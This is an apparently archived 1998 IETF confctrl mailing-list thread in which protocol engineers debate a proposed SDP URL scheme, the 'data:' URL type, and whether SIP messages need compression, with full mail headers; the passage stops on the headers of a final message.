> > > I am not sure what do you mean by "data" URL.
> > > Does "data" URL mean just SDP,
> > > or is such a URL type defined?
> > 
> > ftp://ietf.org/internet-drafts/draft-masinter-url-data-03.txt
> > 
> > or http://www13.w3.org/Addressing/schemes.html
> > 
> > with type 'application/sdp'.
> > 
> 
> This is like employing
> 
> 	<a href="data:application/ftp;base64,ZGVzdD1mdHAubWVkaWEua3lvdG8tdS5hYy5qcA0KZGlyPXB1Yi9SRkMNCmZpbGU9cmZjLWluZGV4LnR4dA0K">
> 
> instead of 
> 
> 	<a href="ftp://ftp.media.kyoto-u.ac.jp/pub/RFC/rfc-index.txt">
> .
> 
> Here, I'm defining the "application/ftp" type as:
> 
> 	dest=ftp.media.kyoto-u.ac.jp
> 	dir=pub/RFC
> 	file=rfc-index.txt
> .
> 
> Note that I'm not criticizing "data" URL or the SDP format.
> 
> > Since the draft is dated May 18, 1997, I assume that it is in some kind
> > of pre-RFC state (as it would have expired long ago otherwise).
> > 
> 
> 

From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: SDP URL Scheme
Date: Sun, 09 Aug 1998 12:05:23 -0400

> FUJIKAWA Kenji wrote:
> > 
> > This is like employing
> > 
> >         <a href="data:application/ftp;base64,ZGVzdD1mdHAubWVkaWEua3lvdG8tdS5hYy5qcA0KZGlyPXB1Yi9SRkMNCmZpbGU9cmZjLWluZGV4LnR4dA0K">
> > 
> > instead of
> > 
> >         <a href="ftp://ftp.media.kyoto-u.ac.jp/pub/RFC/rfc-index.txt">
> 
> Wrong. base64 encoding is only required if the content to be conveyed is
> binary (a gif). An SDP description like
> 
>       v=0
>       o=user1 53655765 2353687637 IN IP4 128.3.4.5
>       s=Mbone Audio
>       i=Discussion of Mbone Engineering Issues
>       e=mbone@somewhere.com
>       c=IN IP4 224.2.0.1/127
>       t=0 0
>       m=audio 3456 RTP/AVP 0
> 
> would look something like
> 
> data:applications/sdp,v=0%OAo=user1%OA....
> 

O.K.

Then, this is like 

  data:application/ftp,dest=ftp.media.kyoto-u.ac.jp%0Adir=...

> The nice thing about this is that this a generic mechanism which can
> easily recycle the MIME tables in browsers. Indeed, if SDR were to
> understand SDP file arguments (Mark: hint...), this can work today. If
> you want to try it, go to http://www.cs.columbia.edu/~hgs/etc/data.html
> after configuring your MIME type file to have an entry along the lines
> of
> 
> application/sdp whatever_application_handles_sdp %s
> 
> Works in Netscape 4.0 and 4.5 and possibly other browsers. The page also
> contains an IMG with a GIF as an embedded 'data' item. No magic needed.

Of course, this works.

We once wrote such an application by awk and 
set up ".mailcap" like that.
This mechanism works well in the envirionment
where "data" URL is not used, and also works well
with "data" URL.

But this usage is as bad as the ftp example.

Not "data:applications/sdp,v=0%0Ao=user1%0A...."
but "sdp:v=0%0Ao=user1%0A...." is acceptable.

However, our porposal is better, I believe.
---------------------------------------------------------------
FUJIKAWA, Kenji @ Grad. Sch. of Informatics, Kyoto Univ., Japan
              WWW http://camino.kuis.kyoto-u.ac.jp/index-e.html
                        TEL +81 75-753-5387 FAX +81 75-751-0482
                             e-mail fujikawa@kuis.kyoto-u.ac.jp
                             e-mail magician@kuis.kyoto-u.ac.jp

From confctrl-owner  Sun Aug  9 11:17:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA20993
	for confctrl-outgoing; Sun, 9 Aug 1998 11:17:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20988
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 11:16:58 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24765
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 11:16:57 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA27627;
	Sun, 9 Aug 1998 14:16:55 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1])
	by erlang.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA15727;
	Sun, 9 Aug 1998 14:16:53 -0400 (EDT)
Message-ID: <35CDE794.54F48677@cs.columbia.edu>
Date: Sun, 09 Aug 1998 14:16:52 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: wiatrak@cig.mot.com, confctrl@ISI.EDU
Subject: Re: Compressing SIP (and HTTP) to save bandwidth
References: <4225665B.005284AF.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 08/09/98 06:52 PM
> 
> I do agree with you that SIP (and HTTP) use much too much
> bandwidth. (Although I couldn't agree with your analysis of the
> problem - the problems have nothing to do with wireless
> applications, telephony, processing time, or latency)
> There is a definite need for a compression scheme
> for SIP (and HTTP). The reasons are:
> 
> 1) SIP packets over UDP might well get large enough to require
> fragmentation.

Since much of SIP header information are things like names, subject
indication and URLs that are not compressible (since they only occur
once in a typical INVITE), the gain is likely to be minimal. Total
length of header names (like To, From, etc.) is about 50 bytes, so at
the typical maximum UDP packet size of 1500 bytes, you can get about 3%
further even if you could reduce the header field names to zero (say,
using SIP short headers or gzip). For a voice call, SDP is also trivial
and not all that compressible (see below). Note that the header names
are just about the only difference between a text-based and binary
protocol in the case of IP telephony signaling, unless you start
carrying around IPv4 addresses only. (I'm ignoring the spectacular
savings of storing port numbers in two instead of four bytes. With IPv6,
the average binary address is only slightly shorter than the average
textual email address of 23 characters.)

> 
> 2) Both SIP and HTTP can be very usefully used to transmit very *small*
> amounts of data. For example, in PINT we use SIP to transmit pages to
> a telephone pager (a.k.a "instant messages" ) Having  50 characters of
> SIP header to transmit a 25 character message is stupid. If you want
> to build a pager network that transmits a few million messages per day,
> using SIP, the overhead is going to be a real problem. (Although I wonder
> what the signaling overhead of today's pager systems are....)

This is no worse (and likely better) than transmitting billions of short
email messages a day.
If you believe the MCI paper
(http://www.vbns.net/presentations/papers/MCItraffic.ps), with all that
wastage, total SMTP traffic (including all headers) amounts to 5% of the
bytes. I think we have better targets for our energy.

Assume that all of the US' long-distance traffic is signaled by SIP.
Signaling will take 1000 bytes/call (my rough estimate INVITE/200/ACK),
the actual call will take 3 minutes*2 kB/s = 360,000 bytes. Thus,
signaling overhead is about 0.3% of total voice traffic.

> 
> I know that there are lots of competing proprietary solutions for
> "low-bandwidth HTTP". Is there a single standard emerging somewhere?

Low-bandwidth *HTML* is being discussed, as in HDML (W3C).

> 
> The correct solution, IMHO, is to specify a C/SIP (compressed SIP)
> protocol. Even better, let's merge SIP with HTTP, and then work
> hard on C/HTTP. We could specify a C/SIP without merging
> with HTTP, but I think C/HTTP (or C/SIP) is about as important as is the
> "HDGP" that Christian once mentioned.

I consider this a total waste of effort. Let's make an RFC with a copy
of Strunk & White to yield more concise writing instead :-)

> 
> BTW, if you just take SIP/SDP packets and Ziv-Lempel-2 them, you get
> very good compression.

Have you actually measured that? A quick check on a "typical" INVITE
yields the following:

Message with SDP, uncompressed: 420 characters
gzip'ed: 316 characters
compressed: 370 characters

About 25% compression - not bad, but hardly going to save the Internet.

> If you pre-load the dictionary with the most
> common SIP/SDP headers, you get even better compression.

It does get somewhat better: two random messages drawn from the SIP
Examples section of the spec concatenated yield 912 uncompressed, 517
compressed. I would estimate that the best compression approaches that
seen by gzip for typical test, of about 50%, given that a fair amount of
SIP text is intentionally (Call-ID) or unintentionally (To, From,
Subject, etc.) random.

> If you allow
> the dictionary to last over the lives of several SIP calls, you get
> even better compression -- probably as good as can be done.

Given that the destination of calls is likely to be essentially random,
the latter doesn't seem feasible.


> This is the way the IETF usually works -- first get the protocol right,
> then
> consider a decent compression technique for that protocol. I think that we
> will have to see some implementations before we can get SIP compression
> right.

Note that on links where this matters at all, slow modem links, you
usually already get compression by the lower layers for text, without
asking for it. Indeed, that's why I'd estimate that on a modem link, SIP
requests and responses will actually already approach the minimum
possible, with no additional savings for any binary protocols.

> 
> Scott
> 
> Scott Petrack
> VocalTec Communications Ltd.
> petrack@vocaltec.com

Henning
(signature removed to help in the byte conservation effort)

From confctrl-owner  Sun Aug  9 15:56:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23405
	for confctrl-outgoing; Sun, 9 Aug 1998 15:56:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23400
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 15:56:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA04780
	for <confctrl@ISI.EDU>; Sun, 9 Aug 1998 15:56:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Sun Aug  9 18:54:17 EDT 1998
Received: from dnrc.bell-labs.com ([135.17.200.85])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA29906;
	Sun, 9 Aug 1998 18:54:34 -0400 (EDT)
Message-ID: <35CE2923.BCB7153E@dnrc.bell-labs.com>
Date: Sun, 09 Aug 1998 18:56:35 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: wiatrak@cig.mot.com, confctrl@ISI.EDU
Subject: Re: Compressing SIP (and HTTP) to save bandwidth
References: <4225665B.005284AF.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 08/09/98 06:52 PM
> 
> I do agree with you that SIP (and HTTP) use much too much
> bandwidth. (Although I couldn't agree with your analysis of the
> problem - the problems have nothing to do with wireless
> applications, telephony, processing time, or latency)
> There is a definite need for a compression scheme
> for SIP (and HTTP). The reasons are:

Although we had discussed its removal, SIP compact form is still in the
spec. This reduces the amount of space for all of the mandatory headers
to a single character. Plus, recall that there are only five mandatory
headers (To, From, CallID, CSeq, Via), so if space is a problem you can
leave out things like Subject, reason phrases, URL comments. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sun Aug  9 17:53:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA24821
	for confctrl-outgoing; Sun, 9 Aug 1998 17:53:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA24816
	for <confctrl@zephyr.isi.edu>; Sun, 9 Aug 1998 17:53:38 -0700 (PDT)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09853
	for <confctrl@isi.edu>; Sun, 9 Aug 1998 17:53:36 -0700 (PDT)
Received: from localhost by www45.inria.fr (8.8.8/8.8.5) with ESMTP id CAA22115 for <confctrl@isi.edu>; Mon, 10 Aug 1998 02:53:35 +0200 (MET DST)
Message-Id: <199808100053.CAA22115@www45.inria.fr>
To: confctrl@ISI.EDU
From: Philipp Hoschka <ph@w3.org>
Subject: slightly updated version of "SDP in SMIL"
Date: Mon, 10 Aug 1998 02:53:34 +0200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


http://www.w3.org/AudioVideo/1998/08/draft-hoschka-smilsdp-01

This is an update of 
http://www.w3.org/AudioVideo/1998/08/draft-hoschka-smilsdp-00. 
It fixes a bug in the example that were pointed out in feedback, 
and adds pointers to the definitions of the SMIL elements used 
in the example.

From confctrl-owner  Mon Aug 10 02:35:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA00519
	for confctrl-outgoing; Mon, 10 Aug 1998 02:35:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA00514
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 02:35:29 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA04891
	for <confctrl@ISI.EDU>; Mon, 10 Aug 1998 02:35:28 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808100925.SAA03302@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id SAA03302; Mon, 10 Aug 1998 18:24:50 +0859
Subject: Re: SDP URL Scheme
To: schulzrinne@cs.columbia.edu (Henning Schulzrinne)
Date: Mon, 10 Aug 98 18:24:49 JST
Cc: magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
In-Reply-To: <35CDC8C3.C1C0CF8C@cs.columbia.edu>; from "Henning Schulzrinne" at Aug 9, 98 12:05 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning;

> > This is like employing
> > 
> >         <a href="data:application/ftp;base64,ZGVzdD1mdHAubWVkaWEua3lvdG8tdS5hYy5qcA0KZGlyPXB1Yi9SRkMNCmZpbGU9cmZjLWluZGV4LnR4dA0K">
> > 
> > instead of
> > 
> >         <a href="ftp://ftp.media.kyoto-u.ac.jp/pub/RFC/rfc-index.txt">
> 
> Wrong.

Henning, you are wrong.

You should better define data URL encoding of URLs and be laughed at.

What is intended by data URL should be better implemented
at HTML level to let it have inline data with all the
HTTP layer headers.

> The nice thing about this is that this a generic mechanism which can
> easily recycle the MIME tables in browsers.

That's another bad thing with data URL.

As data URL is useful only in HTML environment, it should recycle
HTTP file name extension for default data type, which may be overridden
by HTTP-like headers.

						Masataka Ohta

From confctrl-owner  Mon Aug 10 07:10:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04598
	for confctrl-outgoing; Mon, 10 Aug 1998 07:10:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04593
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 07:10:50 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA20396
	for <confctrl@ISI.EDU>; Mon, 10 Aug 1998 07:10:48 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA10651; Mon, 10 Aug 1998 10:10:44 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
cc: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
In-reply-to: Your message of "Fri, 07 Aug 1998 13:36:25 +0900."
             <19980807133625I.magician@kuis.kyoto-u.ac.jp> 
Date: Mon, 10 Aug 1998 10:10:44 -0400
Message-ID: <10649.902758244@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>We are planning to define a SDP URL scheme.
>
>Multimedia sessions are described such as:
>
>  sdp://224.192.2.3:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
>
>  sdp://london-station.bbcc.com:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
>
>Any comments are welcome.

Please don't do this.  This has come up every year or so since 1994,
and is still a bad idea.

A URL provides indirection that is useful - it means the referring
pages don't need to change when the session details change.  Embedding
the description in the URL loses this indirection - the equivalent of
embedding HTML in an URL!  It leads to completely unnecessary
inconsistencies.

Also your syntax seems somewhat broken, given that a single multimedia
session can use multiple multicast groups or even multiple unicast
source addresses.

Instead, just fetch the full session descritpion using HTTP and
MIME-type application/sdp and everything is just fine.

Cheers,
	Mark

From confctrl-owner  Mon Aug 10 18:49:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA24500
	for confctrl-outgoing; Mon, 10 Aug 1998 18:49:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA24494
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 18:49:34 -0700 (PDT)
Received: from mira.kuis.kyoto-u.ac.jp (mira.kuis.kyoto-u.ac.jp [130.54.22.123])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA05097
	for <confctrl@ISI.EDU>; Mon, 10 Aug 1998 18:49:32 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mira.kuis.kyoto-u.ac.jp (8.8.8/8.8.7) with ESMTP id KAA27009
	for <confctrl@ISI.EDU>; Tue, 11 Aug 1998 10:48:43 +0900 (JST)
	(envelope-from magician@kuis.kyoto-u.ac.jp)
To: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
In-Reply-To: Your message of "Mon, 10 Aug 1998 10:10:44 -0400"
	<10649.902758244@north.lcs.mit.edu>
References: <10649.902758244@north.lcs.mit.edu>
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19980811104842I.magician@kuis.kyoto-u.ac.jp>
Date: Tue, 11 Aug 1998 10:48:42 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 980128
Lines: 64
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark;

From: Mark Handley <mjh@east.isi.edu>
Subject: Re: SDP URL Scheme 
Date: Mon, 10 Aug 1998 10:10:44 -0400

> 
> >We are planning to define a SDP URL scheme.
> >
> >Multimedia sessions are described such as:
> >
> >  sdp://224.192.2.3:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> >
> >  sdp://london-station.bbcc.com:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> >
> >Any comments are welcome.
> 
> Please don't do this.  This has come up every year or so since 1994,
> and is still a bad idea.
> 
> A URL provides indirection that is useful - it means the referring
> pages don't need to change when the session details change.  Embedding
> the description in the URL loses this indirection - the equivalent of
> embedding HTML in an URL!  
> It leads to completely unnecessary
> inconsistencies.

A user fetches a Web page every time starting a new session.
When the page is chashed,
a user have to reload the page.
But this is inevitable in Web.

I can't imagine the case where a SDP URL is inconvinient
campared to a SDP file.
Would you show me an expamle?

>
> Also your syntax seems somewhat broken, given that a single multimedia
> session can use multiple multicast groups or even multiple unicast
> source addresses.
> 

Our syntax can do.
Please read our draft carefully.

> Instead, just fetch the full session descritpion using HTTP and
> MIME-type application/sdp and everything is just fine.
> 

Please consider what is URL for.
URL or URI locates or identifies resources,
and provides a user with the method to access resources.

In the case of joining a session,
not session description but session streams are resources.
Thus, the URL for a session should not locate the session 
description but should locate the session streams.
---------------------------------------------------------------
FUJIKAWA, Kenji @ Grad. Sch. of Informatics, Kyoto Univ., Japan
              WWW http://camino.kuis.kyoto-u.ac.jp/index-e.html
                        TEL +81 75-753-5387 FAX +81 75-751-0482
                             e-mail fujikawa@kuis.kyoto-u.ac.jp
                             e-mail magician@kuis.kyoto-u.ac.jp


From confctrl-owner  Mon Aug 10 21:24:43 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA26664
	for confctrl-outgoing; Mon, 10 Aug 1998 21:24:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA26659
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 21:24:42 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14008
	for <confctrl@isi.edu>; Mon, 10 Aug 1998 21:24:41 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id AAA05805;
	Tue, 11 Aug 1998 00:24:06 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id AAA03226;
	Tue, 11 Aug 1998 00:24:06 -0400 (EDT)
Date: Tue, 11 Aug 1998 00:24:06 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980811002405.ZM3224@seawind.bellcore.com>
In-Reply-To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
        "Re: SDP URL Scheme" (Aug 11, 10:48am)
References: <10649.902758244@north.lcs.mit.edu> 
	<19980811104842I.magician@kuis.kyoto-u.ac.jp>
X-Mailer: Z-Mail (5.0.0 30July97)
To: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>, confctrl@ISI.EDU
Subject: Re: SDP URL Scheme
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Kenji,

I think that Mark is right.  Defining an SDP URL is a stretch.  URL
are supposedly pointers to a value; you don't encode the actual value
inside the pointer.

On the other hand, defining an RTP URL could make sense.  There is a 
clear relation between the pointer (an address and a port) and the
value (a media stream).  The number of attributes is moderate.

-- 
Christian Huitema

From confctrl-owner  Mon Aug 10 21:29:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA26728
	for confctrl-outgoing; Mon, 10 Aug 1998 21:29:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA26723
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 21:29:38 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14241;
	Mon, 10 Aug 1998 21:29:31 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808110420.NAA04698@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id NAA04698; Tue, 11 Aug 1998 13:20:08 +0900
Subject: Re: SDP URL Scheme
To: mjh@ISI.EDU (Mark Handley)
Date: Tue, 11 Aug 98 13:20:07 JST
Cc: magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
In-Reply-To: <10649.902758244@north.lcs.mit.edu>; from "Mark Handley" at Aug 10, 98 10:10 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark;

> >Multimedia sessions are described such as:
> >
> >  sdp://224.192.2.3:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> >
> >  sdp://london-station.bbcc.com:ttl=16/sdp+test#m=audio+10000+RTP-AVP+0
> >
> >Any comments are welcome.
> 
> Please don't do this.  This has come up every year or so since 1994,
> and is still a bad idea.
> 
> A URL provides indirection that is useful - it means the referring
> pages don't need to change when the session details change.

Of course.

As dynamic assignment of multicast addresseses is proven to be
completely unnecessary, it is not at all a problem that multicast
addresses are looked up through DNS with or without DnS dynamic
update.

> why  Embedding
> the description in the URL loses this indirection - the equivalent of
> embedding HTML in an URL!  It leads to completely unnecessary
> inconsistencies.

Yes, I agree with you that data URL is completely unnecessary.

> Also your syntax seems somewhat broken, given that a single multimedia
> session can use multiple multicast groups or even multiple unicast
> source addresses.

It is a broken idea that a single multicast session use multiple
multicast groups.

Multiple unicast source addresses are perfectly OK.

> Instead, just fetch the full session descritpion using HTTP and
> MIME-type application/sdp and everything is just fine.

If you think HTTP SDP is fine, SDP URL is more than fine.

						Masataka Ohta

From confctrl-owner  Mon Aug 10 22:15:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA27537
	for confctrl-outgoing; Mon, 10 Aug 1998 22:15:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA27532
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 22:15:05 -0700 (PDT)
Received: from mira.kuis.kyoto-u.ac.jp (mira.kuis.kyoto-u.ac.jp [130.54.22.123])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA17401
	for <confctrl@isi.edu>; Mon, 10 Aug 1998 22:15:03 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mira.kuis.kyoto-u.ac.jp (8.8.8/8.8.7) with ESMTP id OAA27205
	for <confctrl@isi.edu>; Tue, 11 Aug 1998 14:14:13 +0900 (JST)
	(envelope-from magician@kuis.kyoto-u.ac.jp)
To: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme
In-Reply-To: Your message of "Tue, 11 Aug 1998 00:24:06 -0400 (EDT)"
	<980811002405.ZM3224@seawind.bellcore.com>
References: <980811002405.ZM3224@seawind.bellcore.com>
X-Mailer: Mew version 1.93b6 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19980811141412A.magician@kuis.kyoto-u.ac.jp>
Date: Tue, 11 Aug 1998 14:14:12 +0900
From: FUJIKAWA Kenji <magician@kuis.kyoto-u.ac.jp>
X-Dispatcher: imput version 980128
Lines: 57
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian;

From: Christian Huitema <huitema@bellcore.com>
Subject: Re: SDP URL Scheme
Date: Tue, 11 Aug 1998 00:24:06 -0400 (EDT)

>
> I think that Mark is right. Defining an SDP URL is a stretch.  


> URL
> are supposedly pointers to a value; you don't encode the actual value
> inside the pointer.
> 

You are absolutely right.

In this case, media data streams are values,
while the information described by SDP is a pointer.

As a result, 
URL "http://.../test.sdp" is a pointer to a pointer.

It should be noted that the information exept one
required for media applications such as vic and vat
can be written in a free format in a Web page.
For example, in a Web page, you can place the information 
on the host of the session, his/her e-mail address, 
the pupose of the session, and so on.

> On the other hand, defining an RTP URL could make sense.  


> There is a 
> clear relation between the pointer (an address and a port) and the
> value (a media stream).  The number of attributes is moderate.
> 

You are right too.

We investigated RTP URL too as others might have.
(You can see a vestige in
 draft-ohta-static-multicast-00.txt).
But we have selected SDP URL
since we'd like to handle multiple streams at the same time.

By the way, 
I don't necessarily insist on the URL name "sdp:".
What I really want is the URL that locates sessions.
We named our scheme "sdp:" 
just because we recycled the SDP syntax.
---------------------------------------------------------------
FUJIKAWA, Kenji @ Grad. Sch. of Informatics, Kyoto Univ., Japan
              WWW http://camino.kuis.kyoto-u.ac.jp/index-e.html
                        TEL +81 75-753-5387 FAX +81 75-751-0482
                             e-mail fujikawa@kuis.kyoto-u.ac.jp
                             e-mail magician@kuis.kyoto-u.ac.jp

From confctrl-owner  Mon Aug 10 22:31:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA27896
	for confctrl-outgoing; Mon, 10 Aug 1998 22:31:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA27891
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 22:31:45 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA17867
	for <confctrl@ISI.EDU>; Mon, 10 Aug 1998 22:31:43 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808110520.OAA04956@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id OAA04956; Tue, 11 Aug 1998 14:20:41 +0900
Subject: Re: SDP URL Scheme
To: huitema@bellcore.com (Christian Huitema)
Date: Tue, 11 Aug 98 14:20:40 JST
Cc: magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
In-Reply-To: <980811002405.ZM3224@seawind.bellcore.com>; from "Christian Huitema" at Aug 11, 98 12:24 am
X-Mailer: ELM [version 2.3 PL11]
